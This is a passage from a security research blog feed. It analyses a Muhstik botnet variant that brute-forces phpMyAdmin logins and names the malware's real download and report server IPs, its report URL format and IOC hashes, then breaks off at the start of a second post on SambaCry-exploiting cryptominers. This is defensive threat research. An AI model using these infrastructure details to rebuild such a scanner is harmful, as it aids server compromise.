phpMyAdmin scanner module. Furthermore, these new findings motivated us to
index some lower detected variants in our database in order to evaluate if the
discovery of further lower detected variants was possible.&lt;/p&gt;
&lt;p&gt;Since we support ELF files in Intezer Analyze™ but do not currently support
MIPS binaries, we decided to rely on our &amp;lsquo;String Reuse&amp;rsquo; feature in order to
find lower detected variants that shared large pieces of the phpMyAdmin Scanner
code base based on string reuse.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig3.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Muhstik.PMA.Scan Variant Analysis&lt;span class="hx:absolute hx:-mt-20" id="muhstikpmascan-variant-analysis"&gt;&lt;/span&gt;
&lt;a href="#muhstikpmascan-variant-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;This variant shares the same infrastructure as earlier Mushstik variants,
possessing scan, report, download, and control stages.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig4.png" title="Muhstick’s phpMyAdmin Scanner Infrastructure" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstick’s phpMyAdmin Scanner Infrastructure&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Scanner Stage&lt;span class="hx:absolute hx:-mt-20" id="scanner-stage"&gt;&lt;/span&gt;
&lt;a href="#scanner-stage" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Sample: &lt;code&gt;d0d8f3c3e530a75768784c44772b2a71c5b3462d68a3217fee1f6767686cea4e&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The scanner is a command line tool utility in which a file containing a list of
&lt;em&gt;CIDRs&lt;/em&gt; to bruteforce is expected as the first argument.&lt;/p&gt;
&lt;p&gt;In every analyzed sample we noticed a recurrent pattern of hardcoding the
report and download servers in the main function:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig5.png" title="Hardcoded servers in phpMyAdmin Scanner" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Hardcoded servers in phpMyAdmin Scanner&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The scanner then attempts to obtain the CIDR list it requires to commence the
scan. For this specific sample it obtains such lists from the download server,
but we are aware of samples that contain the hardcoded IP blocks in the binary
itself:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig6.png" title="Retrieving CIDRs from download server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Retrieving CIDRs from download server&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The download server (&lt;code&gt;217.13.228.176&lt;/code&gt;) hosts implants to be downloaded by the
compromised server and CIDRs to be used by the phpMyAdmin Scanner. In this
sample, the download server host these files at &lt;code&gt;/rescueshop_dev/x/&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig7.png" title="Download Server Open Directory" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Download Server Open Directory&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We observe the names of the CIDRs correlate with the names that Muhstik’s
aioscan implant used based on a Netlab360 report.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig8.png" title="Older variants of Muhstik using CIDRs" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Older variants of Muhstik using CIDRs&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The download server also contains a series of files which are instances of
&lt;em&gt;Muhstik&lt;/em&gt; &lt;em&gt;phpmyAdmin&lt;/em&gt; Scanner. These files were hosted in the root directory
of the download server under the name &lt;code&gt;pma&amp;lt;number&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In addition, once the scanner obtains the IP block to target, it will begin
brute forcing credentials in order to find vulnerable servers. The following
image demonstrates one of the several ways that the scanner crafts http
requests when attempting to brute force login credentials of a discovered
&lt;em&gt;phpMyAdmin&lt;/em&gt; login page:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig9.png" title="Muhstick’s phpMyAdmin HTTP headers" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstick’s phpMyAdmin HTTP headers&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Once the scanner has found a vulnerable server, it will then disclose it to the
report server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig10.png" title="Vulnerable phpMyAdmin URL crafting for report" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Vulnerable phpMyAdmin URL crafting for report&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig11.png" title="Function in charge to report Vulnerable phpMyAdmin URL" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Function in charge to report Vulnerable phpMyAdmin URL&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Report and Download Stages&lt;span class="hx:absolute hx:-mt-20" id="report-and-download-stages"&gt;&lt;/span&gt;
&lt;a href="#report-and-download-stages" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;After the scanner has found a vulnerable &lt;em&gt;phpMyAdmin&lt;/em&gt; server, it will send the
full vulnerable url to the report server (&lt;code&gt;128.199.251.119&lt;/code&gt;) in the following
format:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http:://&amp;lt;reportserver&amp;gt;/pma.php?ip=&amp;lt;vulnerable url&amp;gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The report server IP can also be seen in the Netlab360 report used to deploy
Muhstik’s GPON exploit:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig12.png" title="Muhstik’s GPON exploit deployment" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstik’s GPON exploit deployment&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Throughout the investigation we were unable to find the exact operations of
pma.php hosted in the report server, although we assess with high confidence
that it was used to deploy a phpMyAdmin exploit since it shares the same
convention as previously observed Muhstik exploit deployments.&lt;/p&gt;
&lt;p&gt;Furthermore, we were able to find a core dump in
&lt;a href="https://www.virustotal.com/#/file/1dd04d7a09b0ae49cfd552fd7ae93c3f16ae78e629b7610d8dec96ec8325af48"target="_blank" rel="noopener"&gt;VirusTotal&lt;/a&gt;
of this same variant that exposed some of pma.php’s behavior.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig13.png" title="Muhstik’s phpMyAdmin Scanner Core-dump VirusTotal Analysis" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstik’s phpMyAdmin Scanner Core-dump VirusTotal Analysis&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;When analyzing the stack segment in the core file we found the following:&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig14.png" title="Core-Dump Stack Overview" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Core-Dump Stack Overview&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;We observed that paths of the downloaded implant and &lt;em&gt;Muhstik phpMyAdmin&lt;/em&gt;
Scanner instance were saved in suspicious environment variables. We also notice
based on the &lt;code&gt;$PWD&lt;/code&gt; environment variable that this core file proceeded from a
&lt;code&gt;WordPress&lt;/code&gt; server.&lt;/p&gt;
&lt;p&gt;The binary was executed from &lt;code&gt;/tmp/&lt;/code&gt; directory and its name was pma6, which
follows the same naming convention from the Muhstik phpMyAdmin Scanner
instances hosted in its download server.&lt;/p&gt;
&lt;p&gt;Additionally, the environment variable &lt;code&gt;$SHLVL&lt;/code&gt; has a value of 3. The value of
this environment variable increases by one each time a shell has started. In
other words, for the time that the core dump was generated, the binary was
running on 3 nested shells. These are solid indicators that this core file was
generated in a compromised system.&lt;/p&gt;
&lt;p&gt;Summarizing, this core dump leaves hints on how the attack chain was deployed.
It seems that the implants may have been downloaded by an additional agent in
the exploitation stage, and that the scanner was one piece of a broader
post-exploitation tool set.&lt;/p&gt;
&lt;h3&gt;Control Stage&lt;span class="hx:absolute hx:-mt-20" id="control-stage"&gt;&lt;/span&gt;
&lt;a href="#control-stage" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;If we submit the implants to Intezer Analyze™ we observe that they are packed
with a specific UPX variant.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig15.png" title="Packed Muhstik sample" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Packed Muhstik sample&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;In the related samples section we observe that the same UPX variant has been
seen in previous Kaiten variants reported by MalwareMustDie.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig16.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig17.png" alt="" loading="lazy" /&gt; &lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig18.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;After unpacking the sample we see that the unpacked &lt;em&gt;Muhstik&lt;/em&gt; implant shares
genes with Tsunami based on code reuse. Tsunami and STDBot are known to be
derived from an IRC bot malware family called Kaiten. Therefore, this
connection shows that &lt;em&gt;Muhstik&lt;/em&gt; implants are also based on Kaiten.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig19.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;This implant operates with different &lt;em&gt;IRC&lt;/em&gt; servers, implementing &lt;em&gt;SSH&lt;/em&gt;, &lt;em&gt;HTTP&lt;/em&gt;
scanning functionalities, and multiple &lt;em&gt;DDoS&lt;/em&gt; features which extends the usual
functionalities of regular Kaiten variants.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig20.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;p&gt;Based on Netlab360’s report we can assume that this botnet has been active
since May 2018. However, when we analyze the username the botnet uses at some
point in one of its IRC channels, we notice the date as a suffix. We believe
this naming convention is used to track new variants among the botnet’s IRC
channels. This sample’s fixed IRC username suggests the build was released one
day after Netlab360 published its blog about &lt;em&gt;Muhstik&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig21.png" title="Origins of Muhstik phpMyAdmin Scanner" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Origins of Muhstik phpMyAdmin Scanner&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Origins of Muhstik phpMyAdmin Scanner&lt;span class="hx:absolute hx:-mt-20" id="origins-of-muhstik-phpmyadmin-scanner"&gt;&lt;/span&gt;
&lt;a href="#origins-of-muhstik-phpmyadmin-scanner" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;After researching this newer Muhstik variant, we noticed several other pieces
of malware not related to Muhstik, but using a similar scanner.&lt;/p&gt;
&lt;p&gt;Based on code similarities, we found that the original scanner in which Muhstik
borrows code from is an open-source project called Pnscan. Pnscan was written
by Peter Eriksson, a computer systems manager from Linköping University,
Sweden.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig22.png" title="Pnscan’s Github Repository" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Pnscan’s Github Repository&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;It is important to understand that this Pnscan tool is not directly related to
the Linux.Pnscan.2 worm reported by
&lt;a href="https://news.drweb.com/show/?i=9548&amp;amp;lng=en&amp;amp;c=5"target="_blank" rel="noopener"&gt;DrWeb&lt;/a&gt; in August, 2015. Pnscan
is an open-source TCP port scanner tool which received its name as an
abbreviation of Parallel Network Scanner.&lt;/p&gt;
&lt;p&gt;When we compare some of the functions found in the un-stripped Muhstik
phpMyAdmin Scanner against Pnscan, we observe undeniable evidence that they
share a common code base. We can see this based on function, string, and symbol
naming similarities.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig23.png" title="Portion of Pnscan’s Main Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Portion of Pnscan’s Main Function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig24.png" title="Portion of Muhstick’s phpMyAdmin Main’s Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Portion of Muhstick’s phpMyAdmin Main’s Function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig25.png" title="Pnscan’s get_ip_range" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Pnscan’s get_ip_range&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig26.png" title="Muhstick’s phpMyAdmin Scanner get_ip_range Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstick’s phpMyAdmin Scanner get_ip_range Function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig27.png" title="Pnscan’s get_port_range Function" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Pnscan’s get_port_range Function&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2018/11/muhstik-botnet-reloaded-new-variants-targeting-phpmyadmin-servers/images/fig28.png" title="Muhstick’s phpMyAdmin get_port_range" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Muhstick’s phpMyAdmin get_port_range&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;span class="hx:absolute hx:-mt-20" id="conclusion"&gt;&lt;/span&gt;
&lt;a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;PhpMyAdmin scanners seem to be an increased resource leveraged by threat actors
to compromise systems in recent years. In particular, the Muhstik botnet has
adopted new techniques to compromise a broader spectrum of systems.&lt;/p&gt;
&lt;p&gt;The phpMyAdmin scanner variant appears to have fallen under the radar in
comparison with previous variants targeting GPON routers and has not been seen
or reported to date.&lt;/p&gt;
&lt;p&gt;In order to mitigate these types of attacks against phpMyAdmin, stronger
password conventions should be implemented, or some form of anti brute-forcing
schemes such as
&lt;a href="https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/account-lockout-policy"target="_blank" rel="noopener"&gt;account lockout policy&lt;/a&gt;,
or Google’s &lt;a href="https://www.google.com/recaptcha/intro/v3.html"target="_blank" rel="noopener"&gt;reCaptcha&lt;/a&gt;, should
be applied.&lt;/p&gt;
&lt;p&gt;Furthermore, we have observed in the past the repercussions of publishing
open-source projects that can be used for malicious purposes. This is another
example demonstrating how threat actors borrow and modify publicly released
code in order to conduct their campaigns.&lt;/p&gt;
&lt;h2&gt;IOCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Muhstik phpMyAdmin Scanner:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;c356bf0fd5140f428c2f7c39b96095584c4b99fa6f077f0c1cf9d1ecd9d26e88
7109ba2b506fbcc2a99dfdee14bc1dbb0a8b5dbe14f530b12ffcfc3fa04f90b7
e6ee7da0d9e5d38b44be7f2c2c038708acc12819cb5d6635b8e31715de6026b7
61af6bb7be25465e7d469953763be5671f33c197d4b005e4a78227da11ae91e9
d0d8f3c3e530a75768784c44772b2a71c5b3462d68a3217fee1f6767686cea4e
e0da49d8def275d7e35b2ad4559330301debc9f10cc9bdde953748c18075994e
68002efcc5e13bf6a8c6738cdb324eb7d92bcc54080e3fa6beff2612e4f7252f
679fd3ff024750ef4753f6f52bc99c3d7bb9793e5d32742751099edbed558623&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Muhstik WordPress Scanner&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;fbfc7b127ab9a03bb6b3550e6678e8224ab3d18d1e96ea473ec50eb271fcf05b&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Muhstik Implants:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;7296f5b14f5c55e1f359bb752e18323ba2819f4a43066d50cf4e0294c9d33766
9ae309db0fe53092e67bea17d37a6137bcca70e9c4c31491f15e493ebca3d1c7
fc367a6247e8dca792b54e49dc997e3bc48d28161d7d987043c12c9408933c61
094cd380b411951a2fe00c2d38208838463b83160199f4495062391ced106946
6d0a52bc9b3c6cdef438cbf22c9968e3c06eff6037ffc5ddc645f0f158513ef2
9519e0cd8ec702af86367c1245afea85fd98cc1160cf46e2874a60dfd0952ed8
82bf0be6debed7eb94d4d64e806e0c9f2458d58936443b12c8bd6ae805106e68
3756a7a180b4573efcb88bcba663c66d9474f19e7f646840469f2f60cad236d4
8426f4623aab0af7aaab2d5919dc86ffd9f167f2e423ca3838d7fe24591458f1
96867f503d65c564b146e8961dffae1f90962ba171dd0a5f856ed3f648cb7f4c
767cc42e1b6cc082bd41eecdb2743173d69ac5e8e02f5b63fa104e3c19d90345&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Mushtik implant unpacked&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;b56f666944b3f6bc459546d34002e607c0dc51b1b8bc14999ff4a1e6665a1c9a&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Mushtik GPON phpMyAdmin MIPS hybrid&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;Dd6c74d2942fe9e1cee82e39e7de6986589ae923530864d61b58e21318bf4f7b&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Pnscan source code: &lt;a href="https://github.com/ptrrkssn/pnscan"target="_blank" rel="noopener"&gt;https://github.com/ptrrkssn/pnscan&lt;/a&gt;&lt;/p&gt;</description></item><item><title>"EternalMiner" Copycats exploiting SambaCry for cryptocurrency mining</title><link>https://research.intezer.com/blog/2017/07/eternalminer-copycats/</link><pubDate>Wed, 26 Jul 2017 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2017/07/eternalminer-copycats/</guid><description>
&lt;p&gt;About eight weeks ago, a critical RCE vulnerability present in every Samba
version since 2010 was reported and patched. This vulnerability is mostly known
as &amp;ldquo;SambaCry&amp;rdquo; after the famous WannaCry attack targeting Windows systems
vulnerable to &amp;ldquo;EternalBlue&amp;rdquo; SMB exploit. The vulnerability lies in a logical
bug, which enables an attacker with write-only access to a share to load a
malicious samba module and execute arbitrary code.&lt;/p&gt;
&lt;p&gt;Immediately after writing &amp;amp; publishing the first public
&lt;a href="https://github.com/omri9741/cve-2017-7494"target="_blank" rel="noopener"&gt;POC code&lt;/a&gt;, I wrote a yara signature
for a possible exploit payload and we began monitoring our data feeds for
threats exploiting this vulnerability. Over time, we have noticed countless
bind/reverse shells and droppers. Most of them are either Metasploit payload or
other publicly available implants.&lt;/p&gt;
&lt;p&gt;On June 9th, Kaspersky Labs published an article about
&amp;ldquo;&lt;a href="https://securelist.com/sambacry-is-coming/78674/"target="_blank" rel="noopener"&gt;EternalMiner&lt;/a&gt;&amp;rdquo; — a
financially driven cryptocurrency mining malware turning victim machines into
&amp;ldquo;a workhouse on a large farm, mining crypto-currency for the attackers&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;Less than a week later, we were able to observe copycat cybercriminals actively
exploiting the vulnerability with a similar yet improved setup for better
cryptomining &amp;amp; control over the victim machines. Naturally, we decided to name
this threat &amp;ldquo;&lt;strong&gt;CopyMiner&lt;/strong&gt;&amp;rdquo;!&lt;/p&gt;
&lt;h2&gt;Overview&lt;span class="hx:absolute hx:-mt-20" id="overview"&gt;&lt;/span&gt;
&lt;a href="#overview" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;As we mentioned above, the copycats used a similar yet improved setup.
Implementing a multistage flexible approach with daily updates from multiple
backup servers, a persistent backdoor for better control of the victim machines
and even a more efficient
&lt;a href="../../../2021/01/a-rare-look-inside-a-cryptojacking-campaign-and-its-profit/"&gt;cryptominer&lt;/a&gt;
for better consumption of the victim machine’s resources! &lt;strong&gt;The copycats took
EternalMiner to the next level as an operation suitable for multiple victim’s
machines&lt;/strong&gt;. In the following sections, we will drill down on each component of
the following graph, comparing CopyMiner’s setup vs EternalMiner:&lt;/p&gt;
&lt;p&gt;&lt;img src="https://research.intezer.com/blog/2017/07/eternalminer-copycats/images/fig1.png" alt="" loading="lazy" /&gt;&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;&amp;ldquo;CopyMiner&amp;rdquo; Dropper&lt;span class="hx:absolute hx:-mt-20" id="copyminer-dropper"&gt;&lt;/span&gt;
&lt;a href="#copyminer-dropper" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;On the 14th of June a small unique dropper
